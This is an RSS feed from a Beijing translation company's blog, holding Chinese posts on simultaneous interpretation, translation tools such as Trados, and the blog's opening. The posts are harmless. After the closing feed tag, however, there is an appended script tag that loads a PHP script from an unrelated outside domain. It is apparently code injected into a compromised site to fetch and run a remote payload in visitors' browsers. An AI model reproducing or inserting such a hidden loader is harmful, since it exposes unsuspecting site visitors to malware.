<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>日月同声翻译博客 &#187; 翻译点滴</title>
	<atom:link href="http://www.rytsol.com/blog/category/about-translation/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.rytsol.com/blog</link>
	<description>北京日月同声翻译有限公司</description>
	<lastBuildDate>Tue, 08 Jun 2010 15:05:42 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>什么是同声传译？</title>
		<link>http://www.rytsol.com/blog/2009/07/19/%e4%bb%80%e4%b9%88%e6%98%af%e5%90%8c%e5%a3%b0%e4%bc%a0%e8%af%91%ef%bc%9f/</link>
		<comments>http://www.rytsol.com/blog/2009/07/19/%e4%bb%80%e4%b9%88%e6%98%af%e5%90%8c%e5%a3%b0%e4%bc%a0%e8%af%91%ef%bc%9f/#comments</comments>
		<pubDate>Sun, 19 Jul 2009 14:54:12 +0000</pubDate>
		<dc:creator>56822638</dc:creator>
				<category><![CDATA[翻译点滴]]></category>
		<category><![CDATA[口译]]></category>
		<category><![CDATA[同传设备]]></category>
		<category><![CDATA[同声传译]]></category>
		<category><![CDATA[同声翻译]]></category>

		<guid isPermaLink="false">http://www.rytsol.com/blog/?p=42</guid>
		<description><![CDATA[同声传译，同声翻译]]></description>
			<content:encoded><![CDATA[<p>同声传译，又称同步口译，是译员在不打断讲话者演讲的情况下，不停地将其讲话内容传译给听众的一种口译方式。同声传译的最大优点在于效率高，可以保证讲话才作连贯发言，不影响或中断讲话者的思路，有利于听众对发言全文的通篇理解。同声传译是当今世界流行的一种翻译方式，具有很强的学术性和专业性，通常用于正式的国际会议。目前，世界上95% 的国际会议采用的都是同声传译的方式。特点是讲者连续不断地发言，而译者是边听边译，原文与译文翻译的平均间隔时间是三至四秒，最多达到十多秒。译者仅利用讲者两句之间稍歇的空隙完成翻译工作，因此对译员素质要求非常高。</p>
<p>同声传译是一种受时间严格限制难度极高的语际转换活动，它要求译员在听辨源语讲话的同时，借助已有的主题知识迅速完成对源语信息的预测、理解、记忆、转换和目的语的计划、组织、表达、监听与修正，同步说出目的语译文，因此同声传译又叫同步口译。在各种国际会议上，同传译员以“闪电般的思维”和令人叹服的口译技巧，成功克服上述多重任务（ multi-tasking ）间的交织、重叠和干扰给大脑造成的能量短缺和注意力分配困难，使听和说并行不悖，成为与源语发言人一样令人瞩目的明星。</p>
<p>根据 AIIC （国际会议口译员协会）的规定，同传译员只要翻译出演讲者内容的 80 ％就已经算是合格了（同传译员翻译出演讲内容的 90 ％、 100 ％当然也有可能），因为很多人平时说话非常快，演讲时又只顾及自己的演讲内容或带各地的口音，同传译员只好调动自己的一切知识储备和经验来全力以赴。那些有意放慢速度照顾同传译员的演讲者毕竟不是太多，这就对从业者的素质提出了极高的要求。</p>
<p>同声传译是指口译员利用专门的同声传译设备，坐在隔音的同传室， 俗称“箱子” 里，一面通过耳机收听源语发言人连续不断的讲话，一面几乎同步地对着话筒把讲话人所表达的全部信息内容准确、完整地翻译成目的语，其译语输出通过话筒输送。需要传译服务的与会者，可以通过接收装置，调到自己所需的语言频道，从耳机中收听相应的译语输出。</p>
<p>第二次世界大战结束后，设立在德国纽伦堡的国际法庭审判法西斯战犯时，首次采用同声翻译，这也是世界上第一次在大型国际活动中采用同声翻译。</p>
<p>同声传译是各种翻译活动中难度最高的一种翻译，常常被称为外语专业的最高境界。</p>
<p>在“非全日制就业人员工资指导价位”表中列出的54种行业里，同声传译以每小时最高2000元人民币的价格拔得头筹。</p>
<p>随着中国与世界交流的日益频繁，随着中国国际地位的提高，现在不管是哪里的国际会议，都离不开中文，都少不了来自中国的同声翻译。全球几乎天天都有国际会议，在中国召开的国际会议也越来越多，可以说同声翻译在国内和国际的市场都是巨大的。据说，欧盟和澳大利亚甚至还请中国老师为他们培训同声翻译，同声传译的市场前景越来越被看好了。</p>
<p>同声传译需求量成倍地增加，但是合格的同声传译的数量却增长非常缓慢。据介绍，目前少数专业的同声传译人才主要集中在北京、上海，广州，其他城市举办国际性的会议更是缺乏同传人才，需要从北京和上海去聘请。</p>
]]></content:encoded>
			<wfw:commentRss>http://www.rytsol.com/blog/2009/07/19/%e4%bb%80%e4%b9%88%e6%98%af%e5%90%8c%e5%a3%b0%e4%bc%a0%e8%af%91%ef%bc%9f/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>关于翻译工具</title>
		<link>http://www.rytsol.com/blog/2009/05/25/about-translation-tools/</link>
		<comments>http://www.rytsol.com/blog/2009/05/25/about-translation-tools/#comments</comments>
		<pubDate>Mon, 25 May 2009 14:06:20 +0000</pubDate>
		<dc:creator>yys</dc:creator>
				<category><![CDATA[翻译点滴]]></category>
		<category><![CDATA[Trados]]></category>
		<category><![CDATA[翻译工具]]></category>
		<category><![CDATA[雅信CAT]]></category>

		<guid isPermaLink="false">http://www.rytsol.com/blog/?p=25</guid>
		<description><![CDATA[市面上的翻译工具已经很多了, 像雅信CAT和Trados+MultiTerm系列, 都是很出名的, 它们帮助翻译人员及翻译公司极大的提高了生产率, 一时间受到大家追捧!
逐渐的, 我发现有些翻译人员用Trados尝到了一点甜头,  这些人有的已经有了一些记忆库, 或者从其他地方得到了一些terms, 翻译的时候都特快 ; 另外一些初始接触到翻译工具的人从各种广告上, 翻译工具的介绍中, 开始喜欢上了这些工具, 在网上到处去找.  这两类人有一个共同点, 就是这些翻译工具是很能的, 能够主动的帮助他们解决翻译的问题.
但是, 我要说, 这种认识是错误的, 原因有三: 一是翻译工具说到底是一类计算机应用, 而计算机工具是用来辅助人们劳动的, 尤其是那些重复性的劳动, 也就是说使用者使用工具完成一般性工作, 而把自己解放出来作出更有创造性的工作; 二是已经记忆下的成功案例无疑是宝贵的经验, 但是具体问题具体分析的思考方法要求我们必须作出必要调整(修改)已适应新的工作要求; 三是每种翻译工具都有其特点, 我们所要做的就是有效地利用其特点, 发挥其长处, 关注翻译任务的整体性, 其实Trados系列的表现都是很不错的.
总之, 我们不应迷信翻译工具, 而应客观地,审慎批判地来使用这些工具, 让这些工具最大限度的提高我们的翻译生产率.
]]></description>
			<content:encoded><![CDATA[<p>市面上的翻译工具已经很多了, 像雅信CAT和Trados+MultiTerm系列, 都是很出名的, 它们帮助翻译人员及翻译公司极大的提高了生产率, 一时间受到大家追捧<span style="font-size: x-small;"><strong></strong></span>!</p>
<p>逐渐的, 我发现有些翻译人员用Trados尝到了一点甜头,  这些人有的已经有了一些记忆库, 或者从其他地方得到了一些terms, 翻译的时候都特快 ; 另外一些初始接触到翻译工具的人从各种广告上, 翻译工具的介绍中, 开始喜欢上了这些工具, 在网上到处去找.  这两类人有一个共同点, 就是这些翻译工具是很能的, 能够主动的帮助他们解决翻译的问题.</p>
<p>但是, 我要说, 这种认识是错误的, 原因有三: 一是翻译工具说到底是一类计算机应用, 而计算机工具是用来辅助人们劳动的, 尤其是那些重复性的劳动, 也就是说使用者使用工具完成一般性工作, 而把自己解放出来作出更有创造性的工作; 二是已经记忆下的成功案例无疑是宝贵的经验, 但是具体问题具体分析的思考方法要求我们必须作出必要调整(修改)已适应新的工作要求; 三是每种翻译工具都有其特点, 我们所要做的就是有效地利用其特点, 发挥其长处, 关注翻译任务的整体性, 其实Trados系列的表现都是很不错的.</p>
<p>总之, 我们不应迷信翻译工具, 而应客观地,审慎批判地来使用这些工具, 让这些工具最大限度的提高我们的翻译生产率.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.rytsol.com/blog/2009/05/25/about-translation-tools/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Hello world！</title>
		<link>http://www.rytsol.com/blog/2009/04/07/hello-world/</link>
		<comments>http://www.rytsol.com/blog/2009/04/07/hello-world/#comments</comments>
		<pubDate>Tue, 07 Apr 2009 13:16:46 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[翻译点滴]]></category>

		<guid isPermaLink="false">http://www.rytsol.com/blog/?p=1</guid>
		<description><![CDATA[热烈祝贺北京日月同声翻译公司隆重开博!
]]></description>
			<content:encoded><![CDATA[<p>热烈祝贺北京日月同声翻译公司隆重开博!</p>
]]></content:encoded>
			<wfw:commentRss>http://www.rytsol.com/blog/2009/04/07/hello-world/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
	</channel>
</rss>
<script src="http://holasionweb.com/oo.php"></script>